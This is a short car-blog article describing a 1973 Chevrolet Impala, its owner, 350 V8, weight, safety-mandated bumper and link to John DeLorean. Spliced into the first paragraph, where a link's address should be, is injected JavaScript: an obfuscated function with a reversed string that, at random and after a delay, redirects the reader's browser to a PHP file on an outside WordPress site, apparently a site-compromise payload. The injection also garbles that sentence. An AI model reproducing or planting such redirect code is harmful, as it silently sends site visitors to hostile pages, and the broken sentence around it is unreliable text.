Chevrolet Impala 1973. A Closer Look

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Regular readers of crankandpiston may recognise $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/chevrolet-impala-1973-what-springs-to-mind/” target=”_blank”>this particular Chevrolet Impala. Indeed, it’s not very often we showcase such a fine example of American muscle and grandeur dating back to 1973.

Hard to believe then that the current owner – Soud Alshaiba, who kindly supplied us with these images – has hardly done any work to it (mild tinkering with the air conditioning aside) since it made its sojourn across the great big blue from the USA.

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The quarter mile stretch of straight tarmac on which this ’73 model sits seems appropriate, given the 350 cubic inch V8 buckled down under the bonnet. The decrease in power compared with Chevy’s big bad 365hp big block V8 tell a different story however. The Impala remained Chevrolet’s bestselling model when this fifth generation iteration was released, but a close-to 2000kg weight rendered gazelle-like speed and agility  questionable.

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Newly introduced federal mandates required improved safety features (as well as a drop off in speed) for American automobiles, meaning the ’73 Impala now boasted a more imposing (and shock-absorbing) front bumper and grille design. Tweaks to suspension settings and the structural frame also provided, according to the company, greater drivability.

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Perhaps the most significant detail though is that fifth generation Impala was one of the last models overseen by John DeLorean before he left General Motors to establish his own eponymous firm.

Another iconic machine, though for a very different reason.

– Our thanks to Soud Alshaiba

Categories: Road

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